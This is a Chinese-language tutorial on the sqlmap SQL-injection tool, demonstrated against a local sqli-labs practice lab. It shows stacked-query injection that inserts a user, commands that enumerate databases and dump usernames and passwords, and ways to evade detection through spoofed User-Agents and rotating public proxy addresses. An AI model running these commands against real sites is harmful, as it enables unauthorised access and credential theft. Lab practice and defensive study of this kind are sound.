**一、SQLMAP 介绍 **
**1、SQLMAP 简介 **
SQLmap 是一款用来检测与利用 SQL 注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
官方网站下载 http://sqlmap.org/
**2、SQLMAP 支持的注入类型 **
**sqlmap 支持 5 种漏洞检测类型: **
**1. **基于布尔的盲注检测
**2. ****基于时间的盲注检测 **
**3. ****基于错误的检测 **
**4. ****基于 union 联合查询的检测 **
**5. **基于堆叠查询的检测
**拓展:堆叠查询注入 Less-38 **
http://192.168.1.63/sqli-labs/Less-38/?id=1**';****insert into users(id,username,password) **
**values ('66','root','123')--+ **
**使用;分号来直接添加一条新的 SQL 语句来进行执行就是堆叠查询注入。 **
例:
**3、运行 sqlmap **
Kali 中运行 sqlmap 的方式
**其实这种方法其实就是在终端执行了 sqlmap -h 这样一条命令 **
**└─# sqlmap -h **
**4、SQLMAP 常用参数介绍 **
**sqlmap --version #查看 sqlmap 版本信息. **
**-h #查看功能参数(常用的) **
**-hh #查看所有的参数 (如果有中文包 就最好了) **
**-v #显示更详细的信息 一共 7 级, 从 0-6.默认为 1, 数值越大,信息显示越****详细. **
**Target #(指定目标): **
**-d #直接连接数据库侦听端口,类似于把自己当一个客户端来连接. **
**-u #指定 url 扫描,但 url 必须存在查询参数. 例: xxx.php?id=1 **
**-l #指定 logfile 文件进行扫描,可以结合 burp 把访问的记录保存成一个****log 文件, sqlmap 可以直接加载 burp 保存到 log 文件进行扫描 **
**-m #如果有多个 url 地址,可以把多个 url 保存成一个文本文件 -m 可以加载****文本文件逐个扫描 **
**-r #把 http 的请求头,body 保存成一个文件 统一提交给 sqlmap,sqlmap****会读取内容进行拼接请求体 **
**--timeout #指定超时时间 **
**--retries #指定重试次数 **
**--skip-urlencode ****#不进行 URL 加密**
二、SQLMAP 常用探测方式
**1、探测单个目标 **
**选项:-u 或者--url **
**针对单个 URL 进行 SQL 注入探测 **
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.1.103/sqli-labs/Less-1/?id=1"
**2、探测多个目标 **
**新建一个文本文件插入 3 条 URL 地址 **
┌──(root💀kali)-[~]
└─#
vim xuegod.txthttp://192.168.1.103/sqli-labs/Less-1/?id=1
**└─# sqlmap -m xuegod.txt --dbs --users **
**-m #指定文件进行探测 **
**--dbs #探测可用数据库名称 **
**--users #探测数据库用户名称 **
**无交互,使用默认方式进行探测。 **
**└─# sqlmap -m xuegod.txt --dbs --users ****--batch **
**--batch #参数可以在探测过程中不使用交互式信息来询问我们是否继续探测。一切都使用默认 **
配置。
**3、从文件加载 HTTP 请求进行探测 **
**-r 用来指定 HTTP 请求文件 **
**1、首先打开 burpsuite,关闭 intercept 功能。 **
**2、打开浏览器,访问 http://192.168.1.102/sqli-labs/Less-20/,并在 Username 输入 admin, **
Password 输入 admin,并提交。
注:****我们需要抓取登录以后存在 cookie 的 HTTP 请求
┌──(root💀kali)-[~]
└─# vim cookie.txt
GET /sqli-labs/Less-20/index.php HTTP/1.1
Host: 192.168.1.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.102/sqli-labs/Less-20/
Connection: close
Cookie: uname=admin
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
**└─# sqlmap -r cookie.txt --level 3 --batch –dbs **
--level 检测级别,取值(1-5)默认情况下 Sqlmap 会测试所有 GET 参数和 POST 参数,当 level大于等于 2 时会测试 cookie 参数,当 level 大于等于 3 时会测试 User-Agent 和 Referer,当 level=5时会测试 Host 头
**4、从 burpsuite 日志记录中进行探测 **
**Burpsuite 开启日志记录 **
**浏览器中访问几个页面进行测试 **
**http://192.168.1.63/sqli-labs/Less-1/?id=1 **
**http://192.168.1.63/sqli-labs/Less-2/?id=1 **
**http://192.168.1.63/sqli-labs/Less-3/?id=1 **
**http://192.168.1.63/sqli-labs/Less-4/?id=1 **
**全部点击放行 **
**使用日志文件进行探测 **
└─# sqlmap -l burpsuite.txt --leve 3 --dbs --batch
**5、检测 SQL 注入漏洞存在的技术类型 **
**--technique=TECH SQL injection techniques to use (default "BEUSTQ") **
--technique
**B: Boolean-based blind(布尔盲注) **
**E: Error-based(报错注入) **** **
**U: Union query-based(联合查询注入) **
**S: Stacked queries(文件系统,操作系统,注册表相关注入) **
**T: Time-based blind(时间盲注) **
**默认全部使用 **
**注:当使用 sqlmap 要读取目标系统上文件,或对目标系统进行指令的操作,或者对读取目标系统 **
注册表(windows)的话,需要使用 S。
**例 1:指定使用布尔型探测 **
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --technique=B --batch
**6、枚举数据库信息 **
**--dbs #枚举数据库名称 **
**--tables #枚举表名称 **
--columns #枚举字段名称
**例 1:获取数据库名称 **
**└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --dbs **
例 2:获取表名称
**└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" -D security --tables **
**-D **
#指定数据库进行枚举表名称
**例 3:获取字段名称 **
**获取 security 数据库中 users 表中的字段名称 **
**└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" -D security -T users -- **
**columns **
**获取 security 数据库中所有表的字段名称 **
**└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" -D security --tables -- **
columns
**例 4:获取字段数据 **
**└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --dump -D security -T **
**users -C "username,password" **
**--dump #转储获取到的数据库信息。 **
-C #指定字段
三、SQLMAP 请求参数
**1、默认的请求参数 **
打开 WireShark 关闭混杂模式进行抓包,捕获过滤器:192.168.1.102
**执行探测任务 **
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.1.102/sqli-labs/Less-1/?id=1" --batch
执行完成后停止抓包
![](https://img-blog.csdnimg.cn/aad39461ddec4f678d0ed52c6800c161.png)
**可以看到默认的 User-Agent 为:User-Agent: ****sqlmap/1.5.2#stable (http://sqlmap.org)\r\n **
SQLMAP 的特征非常明显,网站管理员可以通过这些明显的特征对我们的访问进行过滤。
**2、修改默认请求参数 **
**例 1:手动指定请求参数 **
**└─# sqlmap -u "http://192.168.1.102/sqli-labs/Less-1/?id=1" --user-agent="Mozilla/5.0 **
**(X11; Linux x86_64; rv:68.0) Gecko/20100101" --batch **
--user-agent #手动指定 User-Agent 内容
例 2:随机修改请求参数
**└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --random-agent --batch **
3、使用代理进行探测
使用代理进行探测时,是不能够探测内网目标的,除非目标在公网也能够正常访问。
┌──(root💀kali)-[~]
**└─# sqlmap -u "IP" --proxy **
**"http://49.86.177.212:9999" --delay="1" --random-agent --batch **
**例 2:使用多个代理地址进行探测 **
**新建代理列表文件,填写多个代理地址。 **
**└─# vim proxy.txt **
**http://36.248.132.30:9999 **
**http://123.54.47.101:9999 **
**http://114.239.150.47:9999 **
**http://58.253.158.122:9999 **
**http://49.89.143.236:9999 **
└─# sqlmap -u "IP" --proxy
**file=/root/proxy.txt --delay 1 --random-agent --batch **
--proxy-file 指定代理文件
**4、忽略未验证错误 **
**参数: **
**--ignore-401 #忽略未验证错误 **
**为什么要忽略错误呢? **
**原因是我们测试存在 HTTP 认证的网站时会提示我们输入用户名密码,如果没有输入密码会返回 **
**401 错误,所以这个时候如果需要继续探测就需要忽略该错误。 **
5、sqlmap 安全模式
如果执行了一定数量的不成功请求,则 Web 应用程序或其间的检查技术会破坏会话。这可能发生在sqlmap 的检测阶段或利用任何 SQL 盲注类型时。原因是 SQL 有效负载不一定返回输出,因此可能被应用程序会话管理或检查技术检测到从而破坏会话。
**--safe-url #测试期间经常访问的 URL 地址。 **
**--safe-post #HTTP POST 数据发送到给定的安全 URL 地址。 **
**--safe-req #从文件加载并使用安全的 HTTP 请求。 **
**--safe-freq #在两次访问给定安全位置之间测试请求。 **
**sqlmap 将访问每个预定义数量的请求,而不对 safe url 执行任何类型的注入。 **
**6、关闭 URL 编码 **
**参数: **
**--skip-urlencode **
#这种情况用于后端服务器不遵循 RFC 标准(URL 编码的标准)并要求
数据以非编码方式进行传输。
版权归原作者 whhc 所有, 如有侵权,请联系我们删除。